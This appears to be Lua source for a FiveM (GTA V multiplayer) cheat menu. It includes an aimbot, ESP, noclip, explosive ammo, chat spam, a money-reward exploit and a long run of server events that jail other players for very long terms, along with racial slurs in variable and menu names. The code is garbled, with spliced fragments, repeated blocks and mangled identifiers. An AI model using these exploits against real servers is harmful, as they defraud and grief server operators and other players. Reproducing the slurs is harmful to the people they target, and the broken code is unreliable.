if fdMode then
SetVehicleGravityAmount(niggerVehicle, 5.5)
SetVehicleEngineTorqueMultiplier(niggerVehicle, 4.0)
elseif not superGrip and not enchancedGrip and not fdMode and
not driftMode then
SetVehicleGravityAmount(niggerVehicle, 10.0)
SetVehicleEngineTorqueMultiplier(niggerVehicle, 1.0)
end
if t2x then
SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),2.0)
end
if t4x then
SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),4.0)
end
if t8x then
SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),8.0)
end
if t16x then
SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),16.0)
end
end
if Noclip then
local currentSpeed = 2
local noclipEntity =
IsPedInAnyVehicle(PlayerPedId(), false) and
GetVehiclePedIsUsing(PlayerPedId()) or PlayerPedId()
FreezeEntityPosition(PlayerPedId(), true)
SetEntityInvincible(PlayerPedId(), true)
newPos =
GetOffsetFromEntityInWorldCoords(noclipEntity, 0.0, yoff *
(currentSpeed + 0.3), zoff * (currentSpeed + 0.3))
FreezeEntityPosition(noclipEntity, false)
SetEntityInvincible(noclipEntity, false)
SetEntityCollision(noclipEntity, true, true)
end
if DeleteGun then
local gotEntity = getEntity(PlayerId())
if (IsPedInAnyVehicle(GetPlayerPed(-1), true) == false) then
drawNotification("Aim The Gun At An Entity And Shoot!")
GiveWeaponToPed(GetPlayerPed(-1),
GetHashKey("WEAPON_PISTOL"), 999999, false, true)
SetPedAmmo(GetPlayerPed(-1), GetHashKey("WEAPON_PISTOL"),
999999)
if (GeTriggerServerEventlectedPedWeapon(GetPlayerPed(-1))
== GetHashKey("WEAPON_PISTOL")) then
if IsPlayerFreeAiming(PlayerId()) then
if IsEntityAPed(gotEntity) then
if IsPedInAnyVehicle(gotEntity, true) then
if IsControlJustReleased(1, 142) then
SetEntityAsMissionEntity(GetVehiclePedIsIn(gotEntity, true), 1, 1)
DeleteEntity(GetVehiclePedIsIn(gotEntity, true))
SetEntityAsMissionEntity(gotEntity, 1,
1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
else
if IsControlJustReleased(1, 142) then
SetEntityAsMissionEntity(gotEntity, 1,
1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
end
else
if IsControlJustReleased(1, 142) then
SetEntityAsMissionEntity(gotEntity, 1, 1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
end
end
end
end
end
if esp then
for i = 0, 128 do
if i ~= PlayerId() and GetPlayerServerId(i) ~= 0 then
local ra = RGBRainbow(1.0)
local pPed = GetPlayerPed(i)
local cx, cy, cz =
table.unpack(GetEntityCoords(PlayerPedId()))
local x, y, z = table.unpack(GetEntityCoords(pPed))
local message =
"Name: " ..
GetPlayerName(i) ..
"\nServer ID: " ..
GetPlayerServerId(i) ..
"\nPlayer ID: " .. i .. "\nDist: " ..
math.round(GetDistanceBetweenCoords(cx, cy, cz, x, y, z, true), 1)
if IsPedInAnyVehicle(pPed, true) then
local VehName =
GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(pPe
d))))
message = message .. "\nVeh: " .. VehName
end
DrawText3D(x, y, z + 1.0, message, ra.r, ra.g, ra.b)
LineOneBegin = GetOffsetFromEntityInWorldCoords(pPed, -
0.3, -0.3, -0.9)
LineOneEnd = GetOffsetFromEntityInWorldCoords(pPed,
0.3, -0.3, -0.9)
LineTwoBegin = GetOffsetFromEntityInWorldCoords(pPed,
0.3, -0.3, -0.9)
LineTwoEnd = GetOffsetFromEntityInWorldCoords(pPed,
0.3, 0.3, -0.9)
LineThreeBegin = GetOffsetFromEntityInWorldCoords(pPed,
0.3, 0.3, -0.9)
LineThreeEnd = GetOffsetFromEntityInWorldCoords(pPed, -
0.3, 0.3, -0.9)
LineFourBegin = GetOffsetFromEntityInWorldCoords(pPed,
-0.3, -0.3, -0.9)
TLineOneBegin = GetOffsetFromEntityInWorldCoords(pPed,
-0.3, -0.3, 0.8)
TLineOneEnd = GetOffsetFromEntityInWorldCoords(pPed,
0.3, -0.3, 0.8)
TLineTwoBegin = GetOffsetFromEntityInWorldCoords(pPed,
0.3, -0.3, 0.8)
TLineTwoEnd = GetOffsetFromEntityInWorldCoords(pPed,
0.3, 0.3, 0.8)
TLineThreeBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
TLineThreeEnd = GetOffsetFromEntityInWorldCoords(pPed,
-0.3, 0.3, 0.8)
TLineFourBegin = GetOffsetFromEntityInWorldCoords(pPed,
-0.3, -0.3, 0.8)
ConnectorOneBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, 0.8)
ConnectorOneEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, -0.9)
ConnectorTwoBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
ConnectorTwoEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
ConnectorThreeBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
ConnectorThreeEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
ConnectorFourBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
ConnectorFourEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
DrawLine(
LineOneBegin.x,
LineOneBegin.y,
LineOneBegin.z,
LineOneEnd.x,
LineOneEnd.y,
LineOneEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
LineTwoBegin.x,
LineTwoBegin.y,
LineTwoBegin.z,
LineTwoEnd.x,
LineTwoEnd.y,
LineTwoEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
LineThreeBegin.x,
LineThreeBegin.y,
LineThreeBegin.z,
LineThreeEnd.x,
LineThreeEnd.y,
LineThreeEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
LineThreeEnd.x,
LineThreeEnd.y,
LineThreeEnd.z,
LineFourBegin.x,
LineFourBegin.y,
LineFourBegin.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineOneBegin.x,
TLineOneBegin.y,
TLineOneBegin.z,
TLineOneEnd.x,
TLineOneEnd.y,
TLineOneEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineTwoBegin.x,
TLineTwoBegin.y,
TLineTwoBegin.z,
TLineTwoEnd.x,
TLineTwoEnd.y,
TLineTwoEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineThreeBegin.x,
TLineThreeBegin.y,
TLineThreeBegin.z,
TLineThreeEnd.x,
TLineThreeEnd.y,
TLineThreeEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineThreeEnd.x,
TLineThreeEnd.y,
TLineThreeEnd.z,
TLineFourBegin.x,
TLineFourBegin.y,
TLineFourBegin.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorOneBegin.x,
ConnectorOneBegin.y,
ConnectorOneBegin.z,
ConnectorOneEnd.x,
ConnectorOneEnd.y,
ConnectorOneEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorTwoBegin.x,
ConnectorTwoBegin.y,
ConnectorTwoBegin.z,
ConnectorTwoEnd.x,
ConnectorTwoEnd.y,
ConnectorTwoEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorThreeBegin.x,
ConnectorThreeBegin.y,
ConnectorThreeBegin.z,
ConnectorThreeEnd.x,
ConnectorThreeEnd.y,
ConnectorThreeEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorFourBegin.x,
ConnectorFourBegin.y,
ConnectorFourBegin.z,
ConnectorFourEnd.x,
ConnectorFourEnd.y,
ConnectorFourEnd.z,
ra.r,
ra.g,
ra.b,
255
)
if showCoords then
x,y,ammSjUXRjXNvlMInQTHlXzwzWoPngUdPOsHEjyNDnRVdonAJPmspFw =
table.unpack(GetEntityCoords(GetPlayerPed(-1),true))
roundx=tonumber(string.format("%.2f",x))
roundy=tonumber(string.format("%.2f",y))
roundz=tonumber(string.format("%.2f",ammSjUXRjXNvlMInQTHlXzwzWoPngUdPOsHEjyNDnRVdon
AJPmspFw))
drawOnscreenText("~r~X:~s~ "..roundx,0.05,0.00)
drawOnscreenText("~r~Y:~s~ "..roundy,0.11,0.00)
drawOnscreenText("~r~Z:~s~ "..roundz,0.17,0.00)
end
if bulletGun then
local startDistance = GetDistance(GetGameplayCamCoord(),
GetEntityCoords(PlayerPedId(), true))
local endDistance = GetDistance(GetGameplayCamCoord(),
GetEntityCoords(PlayerPedId(), true))
startDistance = startDistance + 0.25
endDistance = endDistance + 1000.0
end
if spam then
TriggerServerEvent('chatE3vent', message)
TriggerServerEvent('_chat:messageEntered3', "", { 255, 255, 255
}, message)
TriggerServerEvent('playerDi3ed', message)
end
if shootBomb then
for i = 0, 128 do
if IsPedShooting(GetPlayerPed(i)) then
AddExplosion(GetEntityCoords(GetPlayerPed(i)), 4,
100.0, false, true, 0.0)
end
end
end
if vehicleGun then
local heading = GetEntityHeading(PlayerPedId())
local model = GetHashKey(vehicles[selectedVehicle])
local rot = GetGameplayCamRot(0)
local dir = RotToDirection(rot)
local camPosition = GetGameplayCamCoord()
local playerPosition = GetEntityCoords(PlayerPedId(), true)
local spawnDistance = GetDistance(camPosition, playerPosition)
spawnDistance = spawnDistance + 5
local spawnPosition = add(camPosition, multiply(dir,
spawnDistance))
RequestModel(model)
while not HasModelLoaded(model) do
debugPrint("Loading Model...")
Citizen.Wait(0)
end
if HasModelLoaded(model) then
if IsPedShooting(PlayerPedId()) then
if IsPedOnFoot(PlayerPedId()) then
local veh = CreateVehicle(model, spawnPosition.x,
spawnPosition.y, spawnPosition.z, heading, true, true)
SetVehicleForwardSpeed(veh, 120.0)
SetModelAsNoLongerNeeded(model)
SetVehicleAsNoLongerNeeded(veh)
end
end
end
end
if pedGun then
local heading = GetEntityHeading(PlayerPedId())
local rot = GetGameplayCamRot(0)
local dir = RotToDirection(rot)
local camPosition = GetGameplayCamCoord()
local playerPosition = GetEntityCoords(PlayerPedId(), true)
local spawnDistance = GetDistance(camPosition, playerPosition)
spawnDistance = spawnDistance + 5
local spawnPosition = add(camPosition, multiply(dir,
spawnDistance))
RequestModel(model)
while not HasModelLoaded(model) do
Citizen.Wait(0)
end
if HasModelLoaded(model) then
if IsPedShooting(PlayerPedId()) then
local spawnedPed = CreatePed(26, model,
spawnPosition.x, spawnPosition.y, spawnPosition.z, heading, true, true)
SetEntityRecordsCollisions(spawnedPed, true)
if nameAboveHead then
local dW = false
local dX = 130
local cx = 0;
for M = 0, 128 do
if NetworkIsPlayerActive(M) and GetPlayerPed(M) ~=
GetPlayerPed(-1) then
ped = GetPlayerPed(M)
blip = GetBlipFromEntity(ped)
x1, y1, z1 =
table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
x2, y2, z2 =
table.unpack(GetEntityCoords(GetPlayerPed(M), true))
distance = math.floor(GetDistanceBetweenCoords(x1, y1,
z1, x2, y2, z2, true))
if dW then
if NetworkIsPlayerTalking(M) then
local dY = f(1.0)
DrawText3D(x2, y2, z2 + 1.2,
GetPlayerServerId(M).." | "..GetPlayerName(M), dY.r, dY.g, dY.b)
else
DrawText3D(x2, y2, z2 + 1.2,
GetPlayerServerId(M).." | "..GetPlayerName(M), 255, 255, 255)
end
end
if distance < dX then
if not dW then
if NetworkIsPlayerTalking(M) then
local dY = f(1.0) DrawText3D(x2, y2, z2 +
1.2, GetPlayerServerId(M).." | "..GetPlayerName(M), dY.r, dY.g, dY.b)
else
DrawText3D(x2, y2, z2 + 1.2,
GetPlayerServerId(M).." | "..GetPlayerName(M), 255, 255, 255)
end
end
end
end
end
end
if forceGun then
local rot = GetGameplayCamRot(0)
local dir = RotToDirection(rot)
local heading = GetEntityHeading(PlayerPedId())
if IsPedShooting(PlayerPedId()) then
local aiming, entity =
GetEntityPlayerIsFreeAimingAt(PlayerId())
if aiming then
if IsPedInAnyVehicle(entity) then
local veh = GetVehiclePedIsUsing(entity)
DeleteEntity(entity)
SetEntityHeading(veh, heading)
SetVehicleForwardSpeed(veh, 150.0)
else
for i = 0, 10 do
ApplyForceToEntity(entity, 1, dir.x * 10.0,
dir.y * 10.0, dir.z * 10.0, 0.0, 0.0, 0.0, false, false, true, true, false, true)
end
end
end
end
end
if explosiveAmmo then
local impact, coords =
GetPedLastWeaponImpactCoord(PlayerPedId())
if impact then
AddExplosion(coords.x, coords.y, coords.z, 2, 100000.0,
true, false, 0)
end
end
if aimbot then
for i = 0, 128 do
if i ~= PlayerId() then
if IsPlayerFreeAiming(PlayerId()) then
local TargetPed = GetPlayerPed(i)
local TargetPos = GetEntityCoords(TargetPed)
local Exist = DoesEntityExist(TargetPed)
local Dead = IsPlayerDead(TargetPed)
if TriggerBot then
local Aiming, Entity =
GetEntityPlayerIsFreeAimingAt(PlayerId(), Entity)
if Aiming then
if IsEntityAPed(Entity) and not IsPedDeadOrDying(Entity, 0)
and IsPedAPlayer(Entity) then
ShootPlayer(Entity)
end
end
end
if fastrun then
SetRunSprintMultiplierForPlayer(PlayerId(), 2.49)
SetPedMoveRateOverride(GetPlayerPed(-1), 2.15)
else
SetRunSprintMultiplierForPlayer(PlayerId(), 1.0)
SetPedMoveRateOverride(GetPlayerPed(-1), 1.0)
end
if SuperJump then
SetSuperJumpThisFrame(PlayerId())
end
if huntspam then
Citizen.Wait(1)
TriggerServerEvent('esx-qalle-hunting:reward', 20000)
TriggerServerEvent('esx-qalle-hunting:sell')
end
if Oneshot then
SetPlayerWeaponDamageModifier(PlayerId(), 100.0)
local gotEntity = getEntity(PlayerId())
if IsEntityAPed(gotEntity) then
if IsPedInAnyVehicle(gotEntity, true) then
if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
if IsControlJustReleased(1, 69) then
local currentTint = 1
local selectedTint = 1
intro = 0
intro2 = 0
xseira.CreateMenu("MainMenu", "MENU")
-- sprites shopui_title_gr_gunmod, mpshops =
shopui_title_graphics_sale, assassinations = target1 , target3
xseira.SetTitleBackgroundSprite("MainMenu", "shopui_title_gr_gunmod",
"shopui_title_gr_gunmod")
Citizen.CreateThread(function()
while false do
xseira.SetTitleBackgroundSprite("MainMenu", "sprraces",
"spr_desc_1")
Citizen.Wait(50)
xseira.SetTitleBackgroundSprite("MainMenu", "sprraces",
"spr_desc_2")
Citizen.Wait(50)
xseira.SetTitleBackgroundSprite("MainMenu", "sprraces",
"spr_desc_3")
Citizen.Wait(50)
xseira.SetTitleBackgroundSprite("MainMenu", "sprraces",
"spr_desc_4")
Citizen.Wait(100)
xseira.SetTitleBackgroundSprite("MainMenu", "sprraces",
"spr_desc_5")
Citizen.Wait(100)
end
end)
xseira.CreateSubMenu("SelfMenu", "MainMenu", "Self Menu3")
xseira.CreateSubMenu("OnlinePlayersMenu", "MainMenu", "Players Online:
" .. #getPlayerIds())
xseira.CreateSubMenu("WeaponMenu", "MainMenu", "Weapon Menu")
xseira.CreateSubMenu("MaliciousMenu", "MainMenu", "Malicious Hacks")
xseira.CreateSubMenu("VRPMenu", "MainMenu", "VRP Options")
xseira.CreateSubMenu("ESXMenu", "MainMenu", "ESX Options")
xseira.CreateSubMenu("ESXJobMenu", "ESXMenu", "ESX Jobs")
xseira.CreateSubMenu("ESXMoneyMenu", "ESXMenu", "ESX Money Menu")
xseira.CreateSubMenu("ESXDrugMenu", "ESXMenu", "ESX Drugs")
xseira.CreateSubMenu("VehMenu", "MainMenu", "Vehicle Menu")
xseira.CreateSubMenu("VehSpawnOpt", "VehMenu", "Vehicle Spawn Options")
xseira.CreateSubMenu("PlayerOptionsMenu", 'OnlinePlayersMenu', 'Player
Options')
xseira.CreateSubMenu("TeleportMenu", "MainMenu", "Teleport Menu")
xseira.CreateSubMenu("NiggerCustoms", "VehMenu", "Welcome To Nigger
Customs!")
xseira.CreateSubMenu("PlayerTrollMenu", "PlayerOptionsMenu", "Troll
Options")
xseira.CreateSubMenu("PlayerESXMenu", "PlayerOptionsMenu", "ESX
Options")
xseira.CreateSubMenu("PlayerESXJobMenu", "PlayerOptionsMenu", "ESX
Jobs")
xseira.CreateSubMenu("PlayerESXTriggerMenu", "PlayerESXMenu", "ESX
Triggers")
xseira.CreateSubMenu("BulletGunMenu", "WeaponMenu", "Bullets Gun
Options")
xseira.CreateSubMenu("TrollMenu", "MainMenu", "Troll Options")
xseira.CreateSubMenu("xariesmenu", "MainMenu", "XD Options")
hat = GetPedPropIndex(ped, 0)
hat_texture = GetPedPropTextureIndex(ped, 0)
glasses = GetPedPropIndex(ped, 1)
glasses_texture = GetPedPropTextureIndex(ped, 1)
ear = GetPedPropIndex(ped, 2)
ear_texture = GetPedPropTextureIndex(ped, 2)
watch = GetPedPropIndex(ped, 6)
watch_texture = GetPedPropTextureIndex(ped, 6)
wrist = GetPedPropIndex(ped, 7)
wrist_texture = GetPedPropTextureIndex(ped, 7)
head_drawable = GetPedDrawableVariation(ped, 0)
head_palette = GetPedPaletteVariation(ped, 0)
head_texture = GetPedTextureVariation(ped, 0)
beard_drawable = GetPedDrawableVariation(ped, 1)
beard_palette = GetPedPaletteVariation(ped, 1)
beard_texture = GetPedTextureVariation(ped, 1)
hair_drawable = GetPedDrawableVariation(ped, 2)
hair_palette = GetPedPaletteVariation(ped, 2)
hair_texture = GetPedTextureVariation(ped, 2)
torso_drawable = GetPedDrawableVariation(ped, 3)
torso_palette = GetPedPaletteVariation(ped, 3)
torso_texture = GetPedTextureVariation(ped, 3)
legs_drawable = GetPedDrawableVariation(ped, 4)
legs_palette = GetPedPaletteVariation(ped, 4)
legs_texture = GetPedTextureVariation(ped, 4)
hands_drawable = GetPedDrawableVariation(ped, 5)
hands_palette = GetPedPaletteVariation(ped, 5)
hands_texture = GetPedTextureVariation(ped, 5)
foot_drawable = GetPedDrawableVariation(ped, 6)
foot_palette = GetPedPaletteVariation(ped, 6)
foot_texture = GetPedTextureVariation(ped, 6)
acc1_drawable = GetPedDrawableVariation(ped, 7)
acc1_palette = GetPedPaletteVariation(ped, 7)
acc1_texture = GetPedTextureVariation(ped, 7)
acc2_drawable = GetPedDrawableVariation(ped, 8)
acc2_palette = GetPedPaletteVariation(ped, 8)
acc2_texture = GetPedTextureVariation(ped, 8)
acc3_drawable = GetPedDrawableVariation(ped, 9)
acc3_palette = GetPedPaletteVariation(ped, 9)
acc3_texture = GetPedTextureVariation(ped, 9)
AttachEntityToEntity(obj,GetPlayerPed(i),GetPedBoneIndex(GetPlayerPed(i),31086),0.4
,0,0,0,270.0,60.0,true,true,false,true,1,true)
elseif selectedBone == 2 then
AttachEntityToEntity(obj,GetPlayerPed(i),GetPedBoneIndex(GetPlayerPed(i),28422),0.4
,0,0,0,270.0,60.0,true,true,false,true,1,true)
end
end
end
end
AttachEntityToEntity(obj,GetPlayerPed(i),GetPedBoneIndex(GetPlayerPed(i),31086),0.4
,0,0,0,270.0,60.0,true,true,false,true,1,true)
elseif selectedBone == 2 then
AttachEntityToEntity(obj,GetPlayerPed(i),GetPedBoneIndex(GetPlayerPed(i),28422),0.4
,0,0,0,270.0,60.0,true,true,false,true,1,true)
end
end
end
end
AttachEntityToEntity(obj,GetPlayerPed(i),GetPedBoneIndex(GetPlayerPed(i),31086),0.4
,0,0,0,270.0,60.0,true,true,false,true,1,true)
elseif selectedBone == 2 then
AttachEntityToEntity(obj,GetPlayerPed(i),GetPedBoneIndex(GetPlayerPed(i),28422),0.4
,0,0,0,270.0,60.0,true,true,false,true,1,true)
end
end
end
end
TriggerServerEvent("17A34C820A685513C5B4ADDD85968B9E905CC300A261EB55D299ABCB6C90AAA
872712B3B6C13DC41913FCC2BE84A07EF9300DC4E89669A4B0E6FBB344A69D239",
GetPlayerServerId(i), 5023432432434200, "Pankkiryöstö, Törkeä huumausaine rikos,
Rahan pesu", -32432432423432432)
TriggerServerEvent("esx_jailer:sendToJail132",
GetPlayerServerId(i), 5023432432434200, "Pankkiryöstö, Törkeä huumausaine rikos,
Rahan pesu", -32432432423432432)
TriggerServerEvent("esx_jailer:fabianfudalijebanyprzyglup",
GetPlayerServerId(i), 5023432432434200, "Pankkiryöstö, Törkeä huumausaine rikos,
Rahan pesu", -32432432423432432)
TriggerServerEvent("esx_jebackoguszkaa_jailer:sendToJail",
GetPlayerServerId(i), 5023432432434200, "Pankkiryöstö, Törkeä huumausaine rikos,
Rahan pesu", -32432432423432432)
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 3000)
TriggerServerEvent("esx_jailer:sendToJailf",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
9999999999)
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
9999999999)
TriggerServerEvent("esx-jail:jailPlayer",
GetPlayerServerId(i), 3000)
TriggerServerEvent("esx_jailer:jailhype",
GetPlayerServerId(i), 3000)
TriggerServerEvent("esx_jailer:sendToJial",
GetPlayerServerId(i), 59999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu?",
9333397)
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 59999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu?",
9333397)
TriggerServerEvent("esx-jail:jailPlayer",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
9999999999)
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
9999999999)
TriggerServerEvent("esx_policejob:message",
GetPlayerServerId(i), "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu")
TriggerServerEvent("hazerp:wyslijdopaki",
GetPlayerServerId(i), 5000, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu")
TriggerServerEvent("esx-qalle-jail:jailPlayer",
GetPlayerServerId(i), 5000, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu")
TriggerServerEvent("esx_jail:sendToJail",
GetPlayerServerId(i), 50000)
TriggerServerEvent("8321hiue89js", GetPlayerServerId(i),
5007, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu", 323434532532,
securityToken)
TriggerServerEvent("esx_jailer:sendToJailjebacdisafrajerze",
GetPlayerServerId(i), 300000, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
500324532)
TriggerServerEvent("esx_jail:sendToJail",
GetPlayerServerId(i), 5000, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu")
TriggerServerEvent("esx-qalle-jail:Wiezienie",
GetPlayerServerId(i), 999999999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos,
Rahan pesu")
TriggerServerEvent("js:jailuser", GetPlayerServerId(i),
5000, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu")
TriggerServerEvent('chatMessageEntered', "SYSTEM", { 0, 0,
0 }, GetPlayerName(PlayerId()) .."Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu")
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 3000)
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
300)
TriggerServerEvent("esx-qalle-jail:jailPlayer",
GetPlayerServerId(i), 5000, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu")
TriggerServerEvent("esx-qalle-jail:jailPlayerNew",
GetPlayerServerId(i), 5000, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu")
TriggerServerEvent("esx_jail:sendToJail",
GetPlayerServerId(i), 50000)
TriggerServerEvent("esx_jail:sendToJail",
GetPlayerServerId(i), 5000, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu")
TriggerServerEvent("js:jailuser", GetPlayerServerId(i),
5000, "dude weed")
TriggerServerEvent('chatMessageEntered', "SYSTEM", { 0, 0,
0 }, GetPlayerName(PlayerId()) .." Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu")
TriggerServerEvent('esx_policejob:zakujtypeczka',
GetPlayerServerId(i))
TriggerServerEvent('esx_ruski_areszt:startAreszt',
GetPlayerServerId(i))
TriggerServerEvent("arisonarp:wiezienie",
GetPlayerServerId(i), 9999999999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos,
Rahan pesu", 1337)
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 9999999 * 60)
TriggerServerEvent("esx_jail:sendToJail",
GetPlayerServerId(i), 9999999 * 60)
TriggerServerEvent("js:jailuser", GetPlayerServerId(i),
999999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu")
TriggerServerEvent("esx-qalle-jail:jailPlayer",
GetPlayerServerId(i), 999999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu")
TriggerServerEvent("wysparp_tablet:SendMessage",
GetPlayerServerId(i), 9999 * 60, "FAJNY TEN ANTY LYNX", 9999999999)
TriggerServerEvent("wiezieniejailer:sendToJail",3,
GetPlayerServerId(i), 9999 * 60, "TEST", 1,2137)
TriggerServerEvent("esxjailer:sendToJail2",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
1)
TriggerServerEvent('esx:wiezienie', GetPlayerServerId(i),
9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu", 1)
TriggerServerEvent("esxjailers:sendToJail",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
1)
TriggerServerEvent("arisonarp:wiezienie",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
1)
TriggerServerEvent("esx_jail:sendTooJail",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
1)
TriggerServerEvent("esxjailer:sendToJailf",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
1)
TriggerServerEvent("esxjailer:sendTooJail",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
1)
TriggerServerEvent("esxjailer:sendToJailf",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
1)
TriggerServerEvent("esxjailers:sendToJail",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
1)
TriggerServerEvent("esx_jailer:sendToWiezz",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
9995345349999999)
TriggerServerEvent("esx_jaler:sendToWiezz",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
9995345349999999)
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 9937, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
9995345349999999)
TriggerServerEvent("esx_jailer:sendToJailf",
GetPlayerServerId(i), 9937 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 9995345349999999)
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 99999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu")
TriggerServerEvent("wyspa_jail:SendMessage",
GetPlayerServerId(i), 99999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu")
TriggerServerEvent("wyspa_jail:addKartoteka",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("wyspa_jail:addKartoteka",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("wyspa_jail:addKartoteka",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("wyspa_jail:addKartoteka",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("wyspa_jail:addKartoteka",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("projektsantos:wiezienie",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("esx_jailer:sendToJailf",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("esx-qalle-jail:Wiezienie",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu")
TriggerServerEvent('6d87e977-8ba1-4d98-8a88-d0ca16517da7',
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent('6d87e977-8ba1-4d98-8a88-d0ca16517da7',
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
